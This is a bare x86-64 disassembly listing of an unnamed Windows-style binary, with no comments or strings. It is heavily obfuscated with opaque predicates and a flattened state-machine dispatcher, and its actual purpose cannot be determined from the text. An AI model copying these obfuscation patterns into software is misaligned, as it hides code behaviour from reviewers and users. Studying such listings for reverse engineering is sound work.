jmp 0x1400023e0
mov ecx, 0xa57c99fb
jmp 0x1400023e0
movzx eax, byte [rbp + 0x176]
movzx ecx, byte [rbp + 0x177]
mov ebx, ecx
xor bl, al
test cl, cl
mov ecx, 0x5d4c34f0
cmovne ecx, esi
test al, al
mov eax, 0x5d4c34f0
cmove ecx, eax
test bl, bl
cmovne ecx, esi
jmp 0x1400023e0
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0xd0]
call fcn.1400072b0
mov eax, dword [0x14003ce78]
mov edx, dword [0x14003ce7c]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
sete bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
jne 0x140002492
or cl, al
je 0x140002492
nop dword [rax]
jmp 0x140002490
movzx eax, byte [rbp + 0x175]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x80]
mov dword [rsp + 0x20], eax
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x10]
lea r9, [rbp - 0x30]
call fcn.140004bc0
mov ecx, dword [0x14003ce78]
mov ebx, dword [0x14003ce7c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne r8b
sete cl
cmp ebx, 9
setg dl
cmp ebx, 0xa
setl bl
xor bl, cl
jne 0x1400024f4
or dl, r8b
je 0x1400024f4
jmp 0x1400024f2
lea rdx, [0x14003c233]
lea rcx, [0x14003c240]
test al, al
cmovne rcx, rdx
jmp 0x140001e49
lea rcx, [0x14003c180]
call fcn.1400034d0
mov edx, dword [0x14003ce78]
mov eax, dword [0x14003ce7c]
lea ecx, [rdx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
not ecx
sete dl
cmp eax, 0xa
setl bl
test bl, dl
jne 0x140002554
xor bl, dl
jne 0x140002554
lea rcx, [0x14003c180]
call fcn.1400034d0
jmp 0x14000250d
test ecx, ecx
sete cl
cmp eax, 0xa
setl al
test al, cl
jne 0x14000256b
xor al, cl
je 0x14000280f
lea rcx, [rbp + 0xf0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edi, dword [0x14003ceb4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edi, 0xa
setl dl
xor dl, bl
mov ebx, 0x6c17b9e2
mov edx, 0x5d4c34f0
cmovne edx, ebx
test eax, ecx
sete byte [rbp + 0x150]
mov esi, 0x5d4c34f0
cmovne ebx, edx
cmp edi, 0xa
setl byte [rbp + 0x130]
cmovge ebx, edx
mov eax, 0x96a35fd2
mov edi, 0xa57c99fb
cmp eax, 0x5d4c34ef
jle 0x1400025f0
cmp eax, 0x5d4c34f0
je 0x140002602
cmp eax, 0x6c17b9e2
jne 0x1400025d0
jmp 0x140002631
cmp eax, 0x96a35fd2
je 0x140002609
cmp eax, 0xa57c99fb
jne 0x1400025d0
mov eax, ebx
jmp 0x1400025d0
mov eax, 0xa57c99fb
jmp 0x1400025d0
movzx ecx, byte [rbp + 0x150]
movzx eax, byte [rbp + 0x130]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x5d4c34f0
cmovne eax, edi
test cl, cl
cmove eax, esi
test dl, dl
cmovne eax, edi
jmp 0x1400025d0
lea rcx, [rbp + 0xd0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
sete byte [rbp + 0x130]
mov ebx, 0x6c17b9e2
mov edi, 0x5d4c34f0
mov eax, 0x5d4c34f0
cmove eax, ebx
cmp ecx, 0xa
setl byte [rbp + 0xf0]
setl cl
cmovge eax, edi
xor cl, dl
cmovne eax, ebx
mov edx, 0x96a35fd2
mov edi, 0xa57c99fb
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x5d4c34ef
jle 0x1400026c0
cmp edx, 0x5d4c34f0
je 0x1400026d4
cmp edx, 0x6c17b9e2
jne 0x1400026a0
jmp 0x140002703
cmp edx, 0x96a35fd2
je 0x1400026db
cmp edx, 0xa57c99fb
jne 0x1400026a0
mov edx, eax
jmp 0x1400026a0
mov edx, 0xa57c99fb
jmp 0x1400026a0
movzx ecx, byte [rbp + 0x130]
movzx edx, byte [rbp + 0xf0]
mov ebx, ecx
xor bl, dl
mov ebx, 0x5d4c34f0
cmovne ebx, edi
test dl, dl
mov edx, ebx
cmovne edx, edi
test cl, cl
cmove edx, ebx
jmp 0x1400026a0
lea rcx, [rbp + 0xb0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
sete byte [rbp + 0xf0]
mov ebx, 0x6c17b9e2
mov edi, 0x5d4c34f0
mov eax, 0x5d4c34f0
cmove eax, ebx
cmp ecx, 0xa
setl byte [rbp + 0xd0]
setl cl
cmovge eax, edi
xor cl, dl
cmovne eax, ebx
mov edx, 0x96a35fd2
mov edi, 0xa57c99fb
nop word cs:[rax + rax]
nop
cmp edx, 0x5d4c34ef
jle 0x140002790
cmp edx, 0x5d4c34f0
je 0x1400027a4
cmp edx, 0x6c17b9e2
jne 0x140002770
jmp 0x1400027d3
cmp edx, 0x96a35fd2
je 0x1400027ab
cmp edx, 0xa57c99fb
jne 0x140002770
mov edx, eax
jmp 0x140002770
mov edx, 0xa57c99fb
jmp 0x140002770
movzx ecx, byte [rbp + 0xf0]
movzx edx, byte [rbp + 0xd0]
mov ebx, ecx
xor bl, dl
mov ebx, 0x5d4c34f0
cmovne ebx, edi
test dl, dl
mov edx, ebx
cmovne edx, edi
test cl, cl
cmove edx, ebx
jmp 0x140002770
mov eax, dword [0x14003ce78]
mov ecx, dword [0x14003ce7c]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
cmp bl, dl
jne 0x1400010cb
or cl, al
je 0x1400010cb
lea rcx, [rbp + 0xf0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edx, dword [0x14003ceb4]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0x6c17b9e2
mov eax, 0x5d4c34f0
cmovne eax, ebx
cmp ecx, 0xffffffff
sete byte [rbp + 0x150]
mov edi, 0x5d4c34f0
cmovne ebx, eax
cmp edx, 0xa
setl byte [rbp + 0x130]
cmovge ebx, eax
mov eax, 0x96a35fd2
mov esi, 0xa57c99fb
jmp 0x1400028a0
movzx ecx, byte [rbp + 0x150]
movzx eax, byte [rbp + 0x130]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x5d4c34f0
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
nop
cmp eax, 0x5d4c34ef
jle 0x1400028c0
cmp eax, 0x5d4c34f0
je 0x1400028d2
cmp eax, 0x6c17b9e2
jne 0x1400028a0
jmp 0x1400028d9
cmp eax, 0x96a35fd2
je 0x140002878
cmp eax, 0xa57c99fb
jne 0x1400028a0
mov eax, ebx
jmp 0x1400028a0
mov eax, 0xa57c99fb
jmp 0x1400028a0
lea rcx, [rbp + 0xd0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov ecx, dword [0x14003ceb4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
sete byte [rbp + 0x130]
mov ebx, 0x6c17b9e2
mov edi, 0x5d4c34f0
mov eax, 0x5d4c34f0
cmove eax, ebx
cmp ecx, 0xa
setl byte [rbp + 0xf0]
setl cl
cmovge eax, edi
xor cl, dl
cmovne eax, ebx
mov edx, 0x96a35fd2
mov edi, 0xa57c99fb
nop dword [rax]
cmp edx, 0x5d4c34ef
jle 0x140002960
cmp edx, 0x5d4c34f0
je 0x140002974
cmp edx, 0x6c17b9e2
jne 0x140002940
jmp 0x1400029a3
cmp edx, 0x96a35fd2
je 0x14000297b
cmp edx, 0xa57c99fb
jne 0x140002940
mov edx, eax
jmp 0x140002940
mov edx, 0xa57c99fb
jmp 0x140002940
movzx ecx, byte [rbp + 0x130]
movzx edx, byte [rbp + 0xf0]
mov ebx, ecx
xor bl, dl
mov ebx, 0x5d4c34f0
cmovne ebx, edi
test dl, dl
mov edx, ebx
cmovne edx, edi
test cl, cl
cmove edx, ebx
jmp 0x140002940
lea rcx, [rbp + 0xb0]
call fcn.14000d500
mov eax, dword [0x14003ceb0]
mov edi, dword [0x14003ceb4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete bl
cmp edi, 0xa
setl dl
xor dl, bl
mov ebx, 0x6c17b9e2
mov edx, 0x5d4c34f0
cmovne edx, ebx
test eax, ecx
sete byte [rbp + 0xf0]
mov esi, 0x5d4c34f0
cmovne ebx, edx
cmp edi, 0xa
setl byte [rbp + 0xd0]
cmovge ebx, edx
mov eax, 0x96a35fd2
mov edi, 0xa57c99fb
nop dword [rax + rax]
cmp eax, 0x5d4c34ef
jg 0x140002a30
cmp eax, 0x96a35fd2
je 0x140002a43
cmp eax, 0xa57c99fb
jne 0x140002a10
mov eax, ebx
jmp 0x140002a10
cmp eax, 0x5d4c34f0
je 0x140002a6b
cmp eax, 0x6c17b9e2
jne 0x140002a10
jmp 0x14000256b
movzx ecx, byte [rbp + 0xf0]
movzx eax, byte [rbp + 0xd0]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x5d4c34f0
cmovne eax, edi
test cl, cl
cmove eax, esi
test dl, dl
cmovne eax, edi
jmp 0x140002a10
mov eax, 0xa57c99fb
jmp 0x140002a10